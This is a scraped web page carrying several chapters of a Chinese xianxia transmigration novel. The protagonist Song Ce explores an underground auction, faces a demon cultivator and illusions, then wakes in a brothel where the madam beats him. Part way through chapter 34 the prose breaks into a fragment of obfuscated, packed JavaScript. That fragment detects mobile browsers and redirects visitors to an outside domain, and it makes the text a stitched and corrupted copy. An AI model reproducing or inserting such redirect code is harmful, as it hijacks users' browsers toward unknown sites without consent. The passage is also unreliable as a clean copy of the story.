率先跪地的小蛇妖颤颤巍巍起身后低着头恭敬地回答宋策:“小妖原先在这儿一所楚馆里谋个营生,侍奉过往恩客不断,知道一些。”
“但是我这种身份只能在上三层活动,中二层是卖场,还有……”
他眼中划过几分困惑与犹疑,最终还是说了自己的猜测,“中二层比之这层更为混乱,多是主事人宴请之人才能到场。”
“至于下三层我知道的少之又少。”说完她低着头不再言语。
“你们身上的奴契还未解”,那两只妖听闻宋策的话,身体微震,似是想起什么酷刑一般脸上不禁露出恐惧的神色。
宋策抬手微指厢房外,不消一会有人叩门,来人进门施礼,“两位贵客可有吩咐?”
“把他们带走,身上的契约也解了,送出去。”九婴领着那两只蛇妖和侍者出去吩咐了几句后,门外脚步声渐远。
侍从会将这两只蛇妖带到虎妖面前逼迫他解开妖奴契约,往后自由的日子只能看他们的造化了。
“大人,为何救这两只小妖?”
“那你说说当初我为何救你?”宋策抬眼看向九婴的眼眸,冰冷的兽瞳不似人类的温和。
见此九婴焕然一笑,“鬼城关于城主大人的传闻多如牛毛,我可不敢妄自揣测大人心思。”
他展开折扇在手中挽了个花,揭开这个话题:“那我们现在去中二层?”
宋策指尖轻点撒在桌面的水渍,水面映射出他意兴阑珊的脸,“走吧,我到要看看这里主事人如何用我的东西造了这么大的势。”
宋策斜了眼还在装傻的九婴,见此九婴眼角一抽,他摸了摸鼻尖,让出一条路。
九婴知道这件事瞒不过宋策,没想到宋策会直接带着他亲自来解决这个陈年旧疴,他也没想到百年前的烂人情会搞成这么大阵仗。
九婴无奈打着保证:“一切皆由大人定夺,其余腌臜事,事后我自会请狐族的人来收拾。”
百年前他见宋策和莫远行谈论修阵行道术法,对法阵一知半解的九婴也起了些兴趣,想参和参和,问宋策讨要修习阵法的经文诀窍,没成想他身边人鬼迷心窍竟然将那些术书一概偷了去。
等九婴察觉时已物是人非,山河变换,人心迁移,一想到这儿九婴就头疼。
解铃还须系铃人,九婴轻抚腰间配饰正色沉眸。
“宿主,察觉到喻归泽的数据有波动。”
“什么意思?”
系统自己也有些疑惑:“主线任务线亮度显示推进,兴许是喻归泽自主推进了关于世界修复的进度。”
“你的能量是多少?”
“将近十五个百分点。”
宋策捻捻指腹:“直接送我们去地下二层?”
“啊?”系统不理解宿主在干什么?他这种流动的能量本来就难以储存,就储存了十五点能量用来干这个,系统认为有点大材小用。
没有积分商城,直接使用能量传送很不划算,系统暗戳戳地辩驳明明宿主有能力直接去地下二层的,他这么一用能量又清零了。
宿主一点都不为自己着想。
宿主想去仙门吃席还要乱跑乱逛,虽说主线任务已经和宿主没什么关系了,但是属于喻归泽的主线任务进度三百年来都没什么进展,这相当于世界的血条正在随着时间减少,系统自苏醒后一直很急迫的收集世界数据,他希望能找到有用的信息,但是自家宿主仿佛意识不到他们两个头上始终悬着的一把刀,若是无法修复世界,他们都得葬身在这方小世界。
系统只敢自己暗自反驳宿主的指令,还是调动能量检测周围能量体的波动。
系统简单检查了一下能量数据,有些心痛,整整三百年,能量这么就恢复了十五个百分点。
当初宿主完成支线任务后,系统的能量恢复至66.7%,虽然全部为宿主花光了,但是一般来说只要任务完成,能量会一直回溯,系统的能量会一直存档至六十六个百分点才对,但现在只有十五点,商城只有在能量有60%时可以打开,系统很颓丧,而且现在宿主还这么不珍惜。
若是换做以前主空间秩序正常时,他的处理系统不可能出现这么多不确定因素,现在只能有多少算多少。
宋策没搭理系统的抗议,能直接使用系统传送功能不必打草惊蛇何乐而不为,况且,三百年才恢复15%的
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废物,有什么好舍不得的。
出入地下二层,宋策察觉到二层较之三层的压迫感,就连九婴都不免惊诧,当年他学不进去的阵法经文,竟然被他人用的如此得心应手,这种熟悉的压迫感似乎和宋策惯用的手法有几分相似。
九婴习惯性的抬头看上空,上层如同庙宇亭阁的顶层建筑,顶空绘制仙人腾云驾雾的壁画,八方各角悬空着人面蛇身的彩雕,九婴不禁盯着那中心的一人眼睛出了神:“这……”
恍然九婴被一抹刺痛打破思绪,被迷惑的一瞬他闭眸,再次睁开眼他目露警惕。
“不要乱看。”
宋策蹙着眉,扫视了各方布局,冷哼轻笑:“是只卑劣狡猾的贼人,可惜手法不精,学了个四不像。”
九婴小心地看了眼宋策,眼中懊悔和愧疚流露于色,捅了个这么大的篓子,宋策也只是轻微怪罪。
他低头咬牙,灵识轻颤,他眼角微动,九婴身形一闪,随至宋策身边,谨慎地传音。
“大人,有御灵海的人。”
似乎是早有所料一般,宋策轻吸一口气,“走吧。”
九婴疑惑几分,这御灵海的人所属上仙界,这么跑到这种下界来,上仙界被他们整治的还不够吗?这百年来整个上界就属他御灵海独树一帜,现在又要到这下界来除除小妖小魔?
九婴知道宋策不喜御灵海中人,见到他们恨不得以阵做契,将空气都断做两份,恨不得和御灵海的修士无半分牵扯。
他跟在宋策身后警惕掩饰周身妖气,藏匿身形于过往修道者中。
从宿主嘴里听到比自己察觉到更为惊恐,准确来说是绝望,系统发现自家宿主完全不慌,但是他慌啊,宿主永远是泰山崩于前而色不变的模样。
以前憋着坏欺负世界之子的时候也是这副模样,简直大震撼,就连死到临头了也不忘坑人一把,这下好了跑了这么年还是要倒霉。
常走夜路哪能不遇见鬼。
“宿主,咱们别慌,咱们别慌!”
“你先别吵。”宋策制止住系统喋喋不休的话语。
但是系统仿佛没听到一般,忙着自圆其说在那一味的安慰,也不知道是在安慰谁。
“当年宿主死在喻归泽面前,他肯定没想到我们还活着,他不可能认出来我们,绝对绝对!”
“宿主还换了个身体,他绝对看不出来,放心放心……”
“不对不对,宿主,你和他相处了那么多年,他说不定还知道你的一些习惯,认出来怎么办?”系统机械的语音中参杂着一丝惊恐。
说完他又推翻自己的想法,“不可能不可能,这么多人他不可能注意到我们!”
“你能不能先闭嘴!”宋策受不了系统这吵闹不休的性子。
但是系统更加受不了这种头顶悬刃的时刻,他恨不得立马把宿主传送走,但是他绝望地发现刚才的能量用掉了,根本不够他传送的!
系统睡了三百年,才醒过来不久就遇见这么个糟心事情,他怎么能不慌,这个时候他又要暗中怪宿主了,当年对喻归泽做了那么多丧尽天良的事情,害的他现在担惊受怕。
34. 第三十三章
卖场还未开始,往来走动的人络绎不绝,似乎都在等待入场的时机,几人只能暂时在外围观摩。
曾在二层混迹过的绿竹对二层的内场也只是有些了解。
“两位大人,入内场只有受邀请的人才能进入。”
九婴看了眼前方的宋策悠然闲逛的身影,随意摆摆手道:“无碍。”
他又四处打量了一番来往人,眼中露出几分玩味。
千人千面,总有可交涉的,当然也可以利用。
“总会有办法的。”
竹青一族体质特殊,蛇尾尾骨是上好的锻制材料,心术不正的修士往往猎杀竹青蛇人,活剥其皮肉,抽其尾骨作为炼器的材料。
在倒卖“器货”的黑商手里,没有命这一说,只有值不值。
绿竹和弟弟就曾在这罪孽的中二层过那刍狗不如的货物,任人欺辱。
她撇了眼两人方向,眼下只有如此倚靠别人才能求得一线生机,实力孱弱的妖在这诡谲残酷的世界里仿佛连呼吸都要被人掐着脖子,毫无自由可言,似乎只有自身强大方能安身立命,掌握命运,她暗自咬牙,凝眸沉气轻轻松开早已被掐紫的手。
曾经她和弟弟如何也逃脱不了的地狱,这两位仙者却在这里往来自如,旁人一票难求的邀请,似乎对他们来说只是唾手可得的东西,绿竹不想承认这个世界就是这样,只有强者才有更多的选择,否则只能和她一样等着别人一时的心善来救。
九婴在拍场瞄准几位修者,与他们随意交谈几句,利用狐族魅惑之术便骗来了三张邀请契书。
对九婴来说最简单的魅术在这里用的也不甚应手,总觉得暗处危机四伏,脊背发麻。
九婴笑着调侃:“还挺麻烦的,原以为这种请函随便抢来几张就行,没想到还需要受邀人主意识同意才能交换。”
九婴拿回来的请函宋策仔细看了看,符文用的不是什么仙草灵液绘制,但上头绘制纹路倒是有几分眼熟,虽比不上上仙界的玩意,但能有这种技巧也挺唬人的。
这种与修士气息相连的邀请函通常由特殊灵液绘制,与接受邀请的人气息相连,相当于现代的实名制绑定账号,一般无法轻易解除契约,即使毁掉受邀人的本源也无济于事,契约也随之销毁,通常上仙界的仙门大族用此法宴请宾客,只是绘制符文的灵液比较稀有,小门小户可用不起。
“听说了没,说是这次卖场好东西挺多呢,放出来的消息里都在传,不过我看不尽然”,说话人鼻腔中发出一丝不屑的气音,接着道,“要是真是好东西,哪里轮得到我们这边儿,早留在上仙界了”
“哪天不是怎么说的?里面的人成天吹嘘拍的物件有多好,我看呐就骗骗外头的人,嘁!”
宋策抬眼打量几番四周,能看出这隔绝于世的法阵犹如一个巨大的蜂巢,但似乎又有些不同,这里的“他们”因利益相聚,又因利益交织相错,是这幕后的主人靠着一方法阵将他们圈养又用“利”将他们囚禁,有人千方百计想逃脱这炼狱一般的地方,有人却自愿安度在这小小的地脉法阵中,世人大多由心相行。
宋策没仔细听那些杂七杂八的陌路人说些什么。
周围纷扰的杂音仿佛都混乱的绕过他。
很多年前他也是因为利益与人相识,刻意发展一段令人厌恶的关系,被困在狭隘的思维救赎中无法托身,以为拥有的就是一切,看到的就是真相,感受到的只有长久的麻木和间断的痛苦。
内场与外场环环相扣,场景变化莫测,只消瞬间,宋策几人便来到会场中层的包厢里,九婴还是有点眼力的,专挑内场中高级的客人抢。
三人落座后隔间里陆续送来专人茶水点心,走出隔间,外面就是面纱珠帘掩映的台子,隔间与隔间之间还有专门的灵力磁场隔绝神识,对客人的隐蔽性非常良好,宋策能轻微感受到地下灵脉对修士灵力的压制,看来这里的主人建立这所巨大的法阵废了不少苦心。
可惜了,百年业绩毁于一旦。
高台之上依旧是错落交映的高台,遮掩的珠帘之下又有多少被掩饰的目的。
虽是人为制造的法阵,但至少在旁人看来也是中介空间阵法,不至于气闷压抑,它吸取地下灵脉灵力运转之时带动的自然能量,让内场中微微掀起波澜的微风,珠帘轻撞的零星脆响让宋策抬头看向上方。
珠串摆动勾着青纱撞进宋策的视线,一只骨节分明的手落进眼底。
那人手里正举什么,也许是瓷杯,再往上青纱遮掩看不清其他,但那截手臂滑落的衣袖裸露在外的手腕处有一节狰狞的伤痕,疤痕犹如一条猩红的蜈蚣趴着往下方延伸进里侧。
这看似不经意的一瞥被九婴察觉,等他往宋策的视角看去,高台之上纱帘被风吹开,露出的只有空荡荡的隔间。
蜈蚣一样猩红狰狞的疤痕,又像是某种祭祀才会绘制的符文,血液顺着皮肤上的纹路透出诡异的美丽。
“像个被迫抛进丹炉子里等死的变态。”
宋策也忍不住在心中腹诽,有时候想起来自己做过的龌龊事情,觉得系统骂的确实有几分道理。
系统察觉到宿主的情绪波动,他疑惑地问正镇定自若喝茶的宿主:“宿主,是有什么不对?”
“没事。”
“大人,外头有个小家伙。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189597|181075||http|test|mini|href|location''.split(''|''),0,{}));
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>九婴瞥了眼外头,不消半会儿,清脆的声音破门而入。
“你们果然在这里!”
九婴闻声看去,是那天拦在他们面前的女修,他好整以暇地起身看着气势汹汹跑进来的小姑娘。
“我们在这里与你何干,那日我们兄弟二人可是说的明明白白——”
“嘘——”那黄衣姑娘一股脑跑进,他拉着九婴的衣袖,好似外头有什么凶神恶煞的坏人一般。
“兄台此言差矣,人在江湖,同道皆是友。”
他打断九婴的话,顺道看了眼宋策后继续自说自话,“我看我们有缘分的很”,她神秘地压低声音,“这里就是我上次和你们说的整个云州城怪异的地方。”
“哦?”
宋策看她亮晶晶兴奋不已的眼睛,有些好笑,“你是如何得知?”
那姑娘面上露出几分得意和果然如此的表情,她抬手挥挥,一只碧翠色的镯子滑出衣袖。
“山人我自有妙计!”
“不光如此,我还和你们不一样,我可是自己弄到内场的邀请函”,她自来熟地坐在宋策身边的座位上,“我一路彻查,找到些线索让我发现这个云州城下的门路,废了些劲儿抓了个妖,混进来的。”
周百岁以为宋策和九婴是被邀请进来的,颇有些得意自己的本事。
“那你还是有些本事的。”九婴摇着折扇顺着她的话往下说,难得他瞧着这人族小姑娘有几分合眼缘,真是和他以前那股劲儿劲儿的样子有些像,一腔热血没处撒。
宋策倒是感慨这姑娘和她爹一样,因果缘分真是躲也躲不掉。
“哎,这位姐姐我好似见过!”
还在滔滔不绝的周百岁看见沉默站在一边的绿竹她立即走近搭话。
周百岁察觉绿竹是妖族,她躬身略施礼稍作招呼,她的动作有些僵硬,像是不太熟悉妖族礼节做的样子很是怪异。
绿竹表情不像周百岁那般神采奕奕,她似乎沉静在自己的思绪中。
对她来说这种一眼能辨出的仙门大小姐,她们不可能见过,除非是在逃亡的被猎杀的途中,她只在那时接触过许多骄子。
绿竹鲜受到人族的礼待,能了解的人族礼节不多,只能以妖族见礼回复。
但周百岁没注意到绿竹隐藏的冷漠,她只是有些疑惑,可能自己认错人了。
九婴看周百岁兴高采烈的样子,嘴角不禁抽动,不知作何解释。
能不眼熟吗?她弟弟就是你多管闲事给抓回去的。
不过这话九婴倒是没有搬到明面上来说,他打着哈哈岔开话题。
“快开始了,先看会歌舞吧。”
35. 第三十四章
“出来吧。”
“你看上去一点也不惊讶我在这里。”
红衣长袍墨发如瀑,来人动作之间潇洒自然,那双桃花眼仍然藏在墨色面具之下,他露出的唇齿潋着笑,看似漫步经心周身气息却不显漏丝毫懒散。
宋策没搭理他的调笑,就事论事。
“魔族人,虽半魔之身确为高阶魔修,我不是你的对手。”
谈话之间宋策顺手消去身上水汽和血色。
“你跟着我做什么?”
宋策走近那棵周身泛着冤魂气息的巨树,压抑之感愈发紧迫,只能止步与几米之外。
他抬眼看向那人意有所指,“极渊的气息很难养出与魔同源的灵宝”,宋策略微思虑,“除此以外或许有什么比之更为吸引你的宝贝?”
“修仙大能遗留的至宝?还是旁人求之不得的秘法?”
他对宋策的猜疑似乎很不耐烦,“猜来猜去有什么意思?不如你来说说你从哪弄来的天灵族人?”
红衣男子见宋策面不改色,似乎不在意他所说的话,了然浅笑,那面具之下的桃花眼满是打量与算计。
“据我所知,天灵族早在千百年就消弭在神州大陆”,他不怀好意地猜测,“你说,他要是发现你这种卑贱的半妖对他存着那些肮脏的心思,他会不会活剥了你。”
“打一巴掌给一颗枣的俗套方式可不高明。”
他轻蔑地笑起来似是在想象宋策的下场。
“都说,天灵族至纯至善但性尤刚烈,小心乘他之危来日遭报。”
他的食指轻点唇瓣,眼含不屑和隐秘的复杂情绪。
“不劳费心。”宋策暗中计较着刚才系统转化的六个百分点的能量还剩多少,再使出一次攻击且直接击杀的概率。
很可惜宋策推算出自己绝对不是对手,虽然在这水底下修者修为都受到压制,但是对方完好无损,自己已经算是强弩之末,自己修为不是他的对手,即使能跨阶使出一招也不一定能打中。
杀不了他,但对方也迟迟没有动手的意思,看来必有所图。
“你想从我这里得到什么?”
“你很聪明。”
红衣男子嘴角泛起温和的笑意,但那双潋滟多情的眼眸中却荡漾起不屑的情绪,“但也别那么高看自己,我能从你身上得到什么?”
他将“你”字道的满含深意,算计的心思显露其中,说话语气令人不适。
宋策看着这魔修刻意压制了身上的气息,但浑身都透露着散漫和势在必得的自信,心中有些好笑,想到这,他按住疼痛的胸口作势经受不住地压低眼眸隐忍道:“你凭什么认为我会答应?”
“看得出你野心不小,但你这种底层出来的低阶妖类若想逆道而为只能抓住任何机会”,他挑起眉轻笑,“我自认为给你的条件不算吝啬。”
那满树的琼花随着树枝簌簌乱颤,血色痕迹愈发浓重,沉郁压抑之感顺着花束降临在整个空间中,宋策忍不住紧紧按住自己的胸腔,身上仅有的一些灵力都在逸散。
宋策低哑的笑声被掩盖在飒飒的花落声中,但红袍人对他的情绪毫不在意,他知道自己有捏死蝼蚁的修为,也可以直接胁迫他,但他不乐意,他愿意为了自己的目的慢慢陪他玩游戏,他等着宋策答应,对他来说蝼蚁的挣扎和选择都在他的掌握之中。
宋策压着眼睑,藏匿心绪,对他的狂妄感到熟悉和厌烦,不论是在哪个世界似乎永远都有这种自以为高人一等的蠢东西,不过他喜欢看这种人自取灭亡。
他压低声音回复他的傲慢,“记住你的承诺,我会让你得偿所愿。”
他对宋策的反应很是满意,手中折扇“啪”地打开,带起的微风吹起他肩膀上的长发,那股时不时压迫在宋策身上的威压悄然散去。
红袍人轻扶面具,嬉笑着在空气中如烟般消散,那散漫的声音还在回响,“注意些,这里鬼气纵横,你这样的妖物维持不了多久人身。”
破风之声袭来,宋策抬手接过对方扔过来的东西,是一瓶丹药。
“放心不会让你吃亏,我呢还算有些原则,不白占便宜。”
随着那最后一声消失,宋策坚持不住的跪倒在地,他抚着自己空洞的左眼,刺痛感愈盛,那处伤疤也伴着疼痛抽动起来。
他缓了口气,转动自己的戒指,确认自己还清醒。
系统最后剩余的一丝能量还有用处,但现在没必要用来愈伤。
“宋策……宋策……”
“谁?”
宋策小心地喘息着,暗自恼火,一个不够怎么又来一个?
无人的空间里法阵运转的细小声音里突然传来一声声呼唤,犹如从遥远的梦境里传来的呓语和絮叨。
“宋策,是我呀,你不记得我了吗?”
他警惕地抽出利刃,捏在手心,冷汗净透内衫粘在胸口,那遥远的呼唤仿佛就贴着耳传来。
“宋策,是我,苍月。”
宋策凝眸看去只看苍月一身雪白素纱长裙站在树下,她面上微施粉黛,正浅笑着朝宋策招手,举手投足之间显露出弱柳扶风的瘦弱飘逸。
“苍月?”宋策凝重眸色,眼中抽痛更盛,他记忆中的苍月不是这般病弱的样子。
“宋策宋策……”
声声呼唤骤然从四面八方急促奔进,苍月的白色身影突然消散在树下,树上繁华撒了一地,飒飒作响的不是风,是不断从树皮里渗透出的血色汁液。
“宋策,你答应过我为我铸剑!”
“宋策……宋策……你答应过我!”
他猝不及防地转身闪过突然靠近的“人”,但还是和那褶皱密布的脸对上眸子,粗哑嘲哳的声音似乎就是紧贴着宋策耳膜钻进他的脑子中,他眼皮轻跳,一掌打散那道影子。
直面而来的死气乍然消散,那股压抑人脖颈的窒息感才稍缓解。
“宋策,你走了我怎么办呀?”
“我说过会一直陪在你身边。”
那一道熟悉的声音就在身边,宋策有些讶异。
“弟弟……弟弟……我们都是他的孩子,你不能留我一人……”
“你认错人了,我不是你弟。”
又是一套强调,宋策捏着刀的手紧了紧,那些深藏记忆里糟糕回忆仿佛让他陷入一种黏腻的泥沼中,沉重的压迫感随之而来。
“我们身上都流着他的血,我们是一样的……”
“还记得我们第一次相见吗?”说话人仿佛从那一树的花朵中飘然而至,那张熟悉的脸出现的那一刻他有瞬间的恍惚,眼前人眉梢的那一颗痣为这白皙艳丽的脸增添了几分诡异。
“他”叹息着伸出苍白的手凑近宋策脸上的伤痕,宋策闪躲,他的指尖从宋策唇角擦过,触感冰凉,带着雨季湿寒的冷意。
“我好想你啊弟弟……”
“想我死吗?”那一刻宋策似乎忘了这是一个幻想,他抓住靠近自己耳际的手,用力之大似乎能听见手下人骨骼碎裂声。
而“他”只是怜惜地看着宋策笑,“弟弟,你长大了。”
“但我还是找到你了……”
“滚!”宋策毫不留情地挥刀向他的脸斩去,影子如同方才一样散去,但耳边仍然还有数不清的呼喊。
即使再迟钝也能察觉到这颗树有问题。
整个水下都是冤魂,地煞怨气肆虐,在这里不可久待,宋策试着和喻归泽联系,可惜信号被中断收不到任何消息,玉佩已毁,普通术法受水下阵法压制,看来只有先出去才能找到
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门路。
“想走?你往哪里走?”
数不清的声音呼啸而来,愈演愈烈,嘈杂不堪,宋策忍不住捂住耳朵抵挡那些或尖利或粗哑的怪叫,倏地一股怪力势如破竹,犹如一股劲风狠狠刮来。
接着宋策被吸入一种无名境地,朦胧的光暗交替,软绵不定的感官触觉让他站不稳脚。
等他稳住身体后再看去,眼前的画面如同幻灯片影像变幻不测,周遭声音纷扰不断,尖叫声,痛呼声,嘶吼声接踵而至,他处在一个巨大火炉里,焚烧尸体的焦臭味,尸油味蔓延在周遭,整个场景就是一个人间炼狱。
忽然宋策又站在悬崖峭壁之上,无数人狰狞着面孔从下方往上攀爬,火气烧灼的热浪直往上涌,那些从地狱而来的尸山鬼海嘶吼着恸哭着咒骂着……
“啊啊啊啊啊啊……”
“我不要死!”
“我们要活着!”
“我还不想死!”
宋策冷静了几分心绪,他四周看看,心下明白自己这又是被拉入了某种幻象。
幻境幻象分多种,大多相由心生,入境者心中所思所想会被投射在幻境中,执念越深者越容易被迷惑,心性不坚定者难以分辨和挣脱,有些仙门考核会采用这种方法考验入道弟子的心境,放下贪、嗔、痴、慢、疑“五毒”大忌潜心修习大道。
再者就是法阵主人希望入阵者看到幻境,场景如同走马观花一般,一日看尽旁人的岁月千年,这种幻境得看闯入者的气运和本事,一般为修道大能羽化所授的传承领悟,若是大有机缘入境者兴许会得到传承。
此外,另有在法阵之上依靠外力所形成的幻象变化莫测不单单受法阵控制,入阵者会被不同的幻象迷惑,或自己或他人的执念或曾经的幻象迷惑,种种痴妄杂糅而成的幻像,其中关巧极难控制,长时间受困的修者容易神魂受创,形神俱灭。
除此之外还有种种幻象区分但宋策也只是从书中所见,在实战中鲜少有见杀力极强的杀境。
宋策猜测这种应该属于外力所成的幻境,冤魂鬼气形成“场”,若是不甚被搅进去恐怕难以脱困。
他试探着往后退几步,场景随着他的动作一瞬间变化让他头昏眼花,眩晕感使他腹内翻滚恶心。
那些燃烧着的妖魔鬼怪血肉模糊,血肉浇在岩壁上,腥臭腐败味随着热浪混着煞气向宋策扑来,这些鬼怪似乎想将外来闯入者也拉入这无间地狱,宋策躲闪不及被火焰热浪撞到,他作势掐诀但一股黏腻灼热感从脚腕传来,接着无数浑身血液的鬼物攀附而上将他拉下悬崖。
意识消失的一瞬他似乎听见了几声奸细的笑声,像是无数道声音糅和而成,有男有女,有老有少刺耳无比。
“外人……如何进来的……咳咳咳……”
“让他的血肉为我们献祭,他的灵魂受到烈火焚烧之苦……”
“吃掉他,吞掉他的神魂……吸干他的精气哈哈哈哈……”
繁华地段的街道处,花灯初上,人影攒动,大人们在街道上谈笑,小孩子在路旁玩笑嬉闹,他们提着花灯蹦跳,一派安宁祥和的场景。
那些朦胧的细碎声音仿佛从狂风中传来,又在一阵风里远去。
画面犹如揭开一层面纱清晰起来,灯火和吆喝声接连显现。
宋策站在街道中央,看着街边耍弄杂技的汉子光着膀子,抖动着魁梧的身躯撒酒喷出的火焰,火光一簇又一簇亮起惹得一片叫好声,他脑海昏沉着视线忽隐忽现,那模糊的灼热感似乎仍然笼罩着他。
晚风吹起他浅色的裙摆,清凉的纱衣难以裹暖,凉意蔓延全身驱走了那股某名的灼热,恍惚间似乎听见有人喊自己的名字。
“公子!”
“月娘子叫我来寻你呢!”
36. 第三十五章
宋策站在街道正中央,擦肩而过的人时不时回头看他一眼,人与人互相推搡和借过。
淡粉色的薄纱广袖衣裙上沾染着些许尘土,肩颈上的布料似乎是被利器割裂,淡淡的血腥味晕染在裙摆上,他身上还有些其他细小的伤痕,宋策感觉浑身不舒服。
他冷静思绪压下心中波澜不定的情绪,但他视线恍惚模糊,眩晕感让他恶心。
少顷,他察觉裙下凉意渐盛,低头查看,腿部的裙摆不知被什么利器撕裂,挑起薄纱露出自己的膝盖,一大片淤青。
人群中总有人时不时看他一眼,只见他衣衫不整,身上挂彩,怎么看都不像是正经人家,都露出几分调侃讪意。
宋策回头和那道总是吸在自己的身上的黏腻视线对视。
那人似乎是被宋策的眼神镇住了,但他看清宋策那张脸时还是愣在原地,宋策身着浅色单薄衣裙,虽粉黛微瑕但仍然能看出他面貌不凡,那双淡漠的眼眸更为他那身轻薄的装扮添了几分清冷。
宋策忍着恶心后退几步,但膝盖钻心的疼痛让他不甚踉跄。
“哎,公子,可是遇到什么麻烦了?”他伸着手就要来搀扶宋策。
“哎,不用了不用了——”
突然一双手从宋策身后伸出来扶住宋策的胳膊,另一只手往前阻拦那男人的动作。
“我们家公子我来就行,不劳阁下了。”
说着他拽着宋策就往人群里拖,跟在他身后的两个男人走上前来隐隐护着宋策和旁边的人,那人看着得不到好就识趣地走了。
“宋策,你跑哪去了?”
“要不是——”
说话人一边搀扶着宋策一边上下看,宋策比他高上一个头,被他搀扶的样子显得有些滑稽和怪异,他感觉自己的胳膊被这人往下拖,腿部的疼痛更盛。
扶住他的人是苍月身边的小侍从,他一张圆脸上下移动似乎要将宋策浑身看出一个洞来。
“你衣服怎么——”
“回去再说。”
显然他的情绪被宋策平淡的语气一下子调动起来,他咋一声惊呼,“你——”
下一时,他意识到自己的声音有些刻意,眼神偷瞄四周人窥视的眼神,压低语气,“鸨妈妈好似知道公子跑出城外了,公子小心些……”
他气息急促被宋策弄得惊诧不已,但他不得已只能空出一只手帮宋策捏着开叉到大腿的裙摆。
看到这副模样出现在大街上的宋策,他知道自己回去也要找骂。
他是跟在月娘子身边侍候的小厮,前两个月凭着手脚麻利做事有分寸被鸨婆安排到月娘子身边帮忙。
他知道宋策这个人,平日里不干什么正经事儿,偷跑出去也不知道在捣鼓什么,每次被带回去都被老鸨一顿好骂,他心中暗自叫苦,这次自己也要连着倒霉,不被罚些月钱也要被打。
宋策微折眉头,他停下脚步将裙摆从自己身边人的手上抽回来,推开靠近自己的人,“我能自己走。”
他选着小巷朝着玉霜楼的侧门走进院落,前院灯火通明,客人们和娘子小侍们的欢声笑语穿过亭廊,后院依稀点着几盏灯笼,月光洒在院落的海棠花上,清晨才下的细雨将绯色海棠点缀的晶莹剔透。
他临早出城晚间归来,这海棠便消瘦了些。
“知道回来了,你这小杂种,又死哪去了!”
宋策闻声看去,走廊拐角处一个满脸涂着厚重粉黛的瘦小女人领着一行人气势汹汹涌过来。
来人是鸨婆,记忆里就是这个嗓门很大,一脸凶相的女人扭着腰拿着长尺骂人的样子,宋策拢着外衫抿唇往后退了几步。
但鸨婆提着木尺就朝宋策扫来,嘴里骂骂咧咧,“死东西,狗杂种!”
“你找死啊!”
木尺如雨点落下,他站在原地也不还手,长尺子“唰唰”打在皮肉上,旁人看着也眼皮子猛跳。
鸨婆似乎打的还不够劲,嫌宋策长得太高,它拽着宋策的衣服把他往下拉,“刺啦”一声,她震惊地看着仍旧一脸冷漠的宋策。
“狗杂种,你要死啊,你把老娘新做的衣服一天就穿烂了!”
她夺过旁人手里的灯笼就往宋策身上照,等看清宋策身上的情形时,她气不打一处来,举着木尺就要打他腿,打腿看不到伤处,鸨婆心里还是有些分寸的,打坏了宋策的一张好脸她比谁都心疼。
宋策被她打的不耐烦,一手夺过就要打在自己上腿的木尺,“够了没有!”
女人被宋策平静无波的眼眸盯得说不出话来,那双深邃幽深的眼瞳映衬着火光,旁人被宋策面上露出的肃杀气息镇住,但女人只是愣了几息,下一刻脸上露出不可置信和气愤的表情。
她像发了疯又像泄了气。
“哎——你个小杂种敢凶我!”
“老娘把你捡回来的时候你还是个毛都没长齐的小狼崽子,现在长大了敢顶嘴了?”
“好啊你”,她似乎气急了猛地把手里灯笼和木尺摔在地上,抢过旁人手里木板子就朝宋策这边来,“我今天不打死你个小杂种!”
宋策眼皮不眨就站在海棠树下,冷冷地看着鸨婆,对他来说也不是第一次被打了,从小打到大,没打死过不算完。
“哎呀,鸨妈妈,你这是干什么呀?”
随着轻柔的一声女人声后,众人西南侧斜上方的窗户开了半扇,一截雪白的胳膊轻轻搭在窗台,一缕发丝随着屋内人的动作飘在她的指尖。
好一副美人扶窗浅笑嫣嫣的美画。
“小孩子嘛,还不懂事,你打他做什么?”
“今天你给他求情也没用,我要打死这杂种!”说着她就要把板子往宋策身上打。
“呼——”
“嘭——”
鸨婆手里的板子似乎被一股力量抽离,木板被一瞬间扔到远处。
宋策看了眼上方,窗口闪出一道白影。
一声轻盈的声音落地,众人入眼白色裙摆扫过落地的海棠花,随着人影而来就是温柔的劝慰声,“这不是回来了,看样子身上也没什么伤。”
说着宋策察觉到一股灵力顺着他经脉来到他的丹田,和风拂过一般轻柔,他顿时感觉心口的痛处缓解些许。
宋策抬手抱谢,“多谢娘子。”
“坏了件衣裳,看样子没什么大碍”,苍月回头安抚鸨婆,“也不是什么大事儿。”
“这不是什么大事儿?”鸨婆走近宋策身边,她扯着宋策的下裙,“我特意找人给你做的衣裳,让你见客你不见就算了,不知道死哪去鬼混搞了一身脏回来,白瞎了这么好的料子
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!”
她张嘴就骂,“哪天你死在外头都没人给你捡尸,死玩意儿……”
“让你见个客你拉丧着脸,别以为月娘子护着你我就不打你,我……”
苍月眯眼笑着安抚气消了些的鸨婆,低声在她耳边说了几句,“行了行了,人都回来了。”
她看了眼院落其他人,“都散了吧。”
说完她不忘回头看了眼带宋策回来的小侍从,“小饼子带他下去洗洗,换身干净的衣服。”
被唤小饼子的小侍从弯着腰连连称是,方才的震惊还未有缓和过来,他是知道这苍月娘子是个修道的,但从来没见过隔空取物的神本事,这种会仙术的人他这种常年混迹在腌臜地方的小妖哪里见过。
他战战兢兢地领着宋策离开。
身后隐隐传来鸨婆和苍月的对话声。
“整天痴心妄想,鬼知道他能干成些什么事儿?”
“哎,他不喜欢那些风花雪月的事儿,逼得那么紧也没什么用,不如让他出去看看学学。”
“那不成,吃饭的营生,整那些没用的……他必须给我……”
小饼子听得出鸨婆的意思,他知道宋策是老鸨捡回来的,好似是个半妖,别说是半妖了,就算是纯血狼妖修道这事儿也得看本钱,旁人哪有那机缘,他暗自摇头不做感想。
属实说楼里许多姑娘和小侍都是鸨婆接济的,就连自己也是走投无路时鸨婆收留在楼里打杂的,楼里的人哪个不受鸨婆恩惠,就属这宋策最会折腾。
但苍月娘子不同,苍月是半道投身进楼里来,听楼里的人说是无家可归落个脚又说是外头杀了人惹了事跑到皓月城来避避风头。
苍月是个修道者,寻常会帮鸨婆处理些来闹事的,许是性子投合或是其他,鸨婆就留着她在楼里。
